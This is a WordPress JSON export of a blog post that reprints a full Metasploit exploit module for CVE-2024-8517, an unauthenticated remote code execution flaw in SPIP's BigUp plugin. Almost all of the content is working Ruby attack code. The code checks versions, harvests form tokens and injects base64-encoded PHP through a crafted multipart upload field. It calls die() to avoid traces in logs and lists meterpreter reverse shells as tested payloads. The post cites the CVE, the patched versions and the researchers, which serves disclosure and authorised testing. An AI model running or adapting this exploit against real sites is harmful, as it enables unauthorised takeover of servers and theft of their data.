{"id":59720,"date":"2024-09-13T20:59:51","date_gmt":"2024-09-13T17:59:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181499\/spip_bigup_unauth_rce.rb.txt"},"modified":"2024-09-13T20:59:51","modified_gmt":"2024-09-13T17:59:51","slug":"spip-bigup-4-3-1-4-2-15-4-1-17-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spip-bigup-4-3-1-4-2-15-4-1-17-unauthenticated-remote-code-execution\/","title":{"rendered":"SPIP BigUp 4.3.1 \/ 4.2.15 \/ 4.1.17 Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Payload::Php<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::Spip<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;SPIP BigUp Plugin Unauthenticated RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.<br \/>The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered<br \/>when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper<br \/>handling of multipart form data in file uploads, an attacker can inject and execute<br \/>arbitrary PHP code on the target server.<\/p>\n<p>This critical vulnerability affects all versions of SPIP from 4.0 up to and including<br \/>4.3.1, 4.2.15, and 4.1.17. It allows unauthenticated users to execute arbitrary code<br \/>remotely via the public interface. The vulnerability has been patched in versions<br \/>4.3.2, 4.2.16, and 4.1.18.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Vozec&#8217;, # Vulnerability Discovery<br \/>&#8216;Laluka&#8217;, # Vulnerability Discovery<br \/>&#8216;Julien Voisin&#8217;, # Code Review<br \/>&#8216;Valentin Lobstein&#8217; # Metasploit Module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-8517&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/thinkloveshare.com\/hacking\/spip_preauth_rce_2024_part_2_a_big_upload\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.spip.net\/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; %w[php unix linux win],<br \/>&#8216;Arch&#8217; =&gt; %w[ARCH_PHP ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP In-Memory&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/># tested with php\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix\/Linux Command Shell&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command Shell&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-09-06&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;FORM_PAGE&#8217;, [true, &#8216;A page with a form.&#8217;, &#8216;Auto&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>rversion = spip_version || spip_plugin_version(&#8216;spip&#8217;)<br \/>return Exploit::CheckCode::Unknown(&#8216;Unable to determine the version of SPIP&#8217;) unless rversion<\/p>\n<p>print_status(&#8220;SPIP Version detected: #{rversion}&#8221;)<\/p>\n<p>vulnerable_ranges = [<br \/>{ start: Rex::Version.new(&#8216;4.0.0&#8217;), end: Rex::Version.new(&#8216;4.1.17&#8217;) },<br \/>{ start: Rex::Version.new(&#8216;4.2.0&#8217;), end: Rex::Version.new(&#8216;4.2.15&#8217;) },<br \/>{ start: Rex::Version.new(&#8216;4.3.0&#8217;), end: Rex::Version.new(&#8216;4.3.1&#8217;) }<br \/>]\n<p>is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }<\/p>\n<p>unless is_vulnerable<br \/>return CheckCode::Safe(&#8220;The detected SPIP version (#{rversion}) is not vulnerable.&#8221;)<br \/>end<\/p>\n<p>print_good(&#8220;SPIP version #{rversion} is vulnerable.&#8221;)<br \/>plugin_version = spip_plugin_version(&#8216;bigup&#8217;)<\/p>\n<p>unless plugin_version<br \/>print_warning(&#8216;Could not determine the version of the bigup plugin.&#8217;)<br \/>return CheckCode::Appears(&#8220;The detected SPIP version (#{rversion}) is vulnerable.&#8221;)<br \/>end<\/p>\n<p>print_status(&#8220;Bigup plugin version detected: #{plugin_version}&#8221;)<br \/>if plugin_version &lt; Rex::Version.new(&#8216;3.2.12&#8217;)<br \/>return CheckCode::Appears(&#8220;Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.&#8221;)<br \/>end<\/p>\n<p>CheckCode::Appears(&#8220;The detected SPIP version (#{rversion}) is vulnerable.&#8221;)<br \/>end<\/p>\n<p># This function tests several pages to find a form with a valid CSRF token and its corresponding action.<br \/># It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).<br \/># We need to check multiple pages because the configuration of SPIP can vary.<br \/>def get_form_data<br \/>pages = %w[login spip_pass contact]\n<p>if datastore[&#8216;FORM_PAGE&#8217;]&amp;.downcase != &#8216;auto&#8217;<br \/>pages = [datastore[&#8216;FORM_PAGE&#8217;]]end<\/p>\n<p>pages.each do |page|<br \/>url = normalize_uri(target_uri.path, page.start_with?(&#8216;\/&#8217;) ? page : &#8220;spip.php?page=#{page}&#8221;)<br \/>res = send_request_cgi(&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; url)<\/p>\n<p>next unless res&amp;.code == 200<\/p>\n<p>doc = res.get_html_document<br \/>action = doc.at_xpath(&#8220;\/\/input[@name=&#8217;formulaire_action&#8217;]\/@value&#8221;)&amp;.text<br \/>args = doc.at_xpath(&#8220;\/\/input[@name=&#8217;formulaire_action_args&#8217;]\/@value&#8221;)&amp;.text<\/p>\n<p>next unless action &amp;&amp; args<\/p>\n<p>print_status(&#8220;Found formulaire_action: #{action}&#8221;)<br \/>print_status(&#8220;Found formulaire_action_args: #{args[0..20]}&#8230;&#8221;)<br \/>return { action: action, args: args }<br \/>end<\/p>\n<p>nil<br \/>end<\/p>\n<p># This function generates PHP code to execute a given payload on the target.<br \/># We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.<br \/># The payload is encoded in base64 to prevent issues with special characters.<br \/># The generated PHP code includes the necessary preamble and system block to execute the payload.<br \/># This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like &#8216;system&#8217; which might be disabled.<br \/>def php_exec_cmd(encoded_payload)<br \/>vars = Rex::RandomIdentifier::Generator.new<br \/>dis = &#8220;$#{vars[:dis]}&#8221;<br \/>encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)<br \/>&lt;&lt;-END_OF_PHP_CODE<br \/>#{php_preamble(disabled_varname: dis)}<br \/>$c = base64_decode(&#8220;#{encoded_clean_payload}&#8221;);<br \/>#{php_system_block(cmd_varname: &#8216;$c&#8217;, disabled_varname: dis)}<br \/>END_OF_PHP_CODE<br \/>end<\/p>\n<p>def exploit<br \/>form_data = get_form_data<\/p>\n<p>unless form_data<br \/>fail_with(Failure::NotFound, &#8216;Could not retrieve formulaire_action or formulaire_action_args value from any page.&#8217;)<br \/>end<\/p>\n<p>print_status(&#8216;Preparing to send exploit payload to the target&#8230;&#8217;)<\/p>\n<p>phped_payload = target[&#8216;Arch&#8217;] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)<br \/>b64_payload = framework.encoders.create(&#8216;php\/base64&#8217;).encode(phped_payload).gsub(&#8216;;&#8217;, &#8221;)<\/p>\n<p>post_data = Rex::MIME::Message.new<\/p>\n<p># This line is necessary for the form to be valid, works in tandem with formulaire_action_args<br \/>post_data.add_part(form_data[:action], nil, nil, &#8216;form-data; name=&#8221;formulaire_action&#8221;&#8216;)<\/p>\n<p># This value is necessary for $_FILES to be used and for the bigup plugin to be &#8220;activated&#8221; for this request, thus triggering the vulnerability<br \/>post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, &#8216;form-data; name=&#8221;bigup_retrouver_fichiers&#8221;&#8216;)<\/p>\n<p># Injection is performed here. The die() function is used to avoid leaving traces in the logs,<br \/># prevent errors, and stop the execution of PHP after the injection.<br \/>post_data.add_part(&#8221;, nil, nil, &#8220;form-data; name=\\&#8221;#{Rex::Text.rand_text_alphanumeric(4, 8)}[&#8216;.#{b64_payload}.die().&#8217;]\\&#8221;; filename=\\&#8221;#{Rex::Text.rand_text_alphanumeric(4, 8)}\\&#8221;&#8221;)<\/p>\n<p># This is necessary for the form to be accepted<br \/>post_data.add_part(form_data[:args], nil, nil, &#8216;form-data; name=&#8221;formulaire_action_args&#8221;&#8216;)<\/p>\n<p>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;spip.php&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{post_data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; post_data.to_s<br \/>}, 1)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Payload::Phpinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Spipprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;SPIP BigUp Plugin Unauthenticated RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggeredwhen the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59720","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59720","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59720"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59720\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59720"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59720"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59720"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}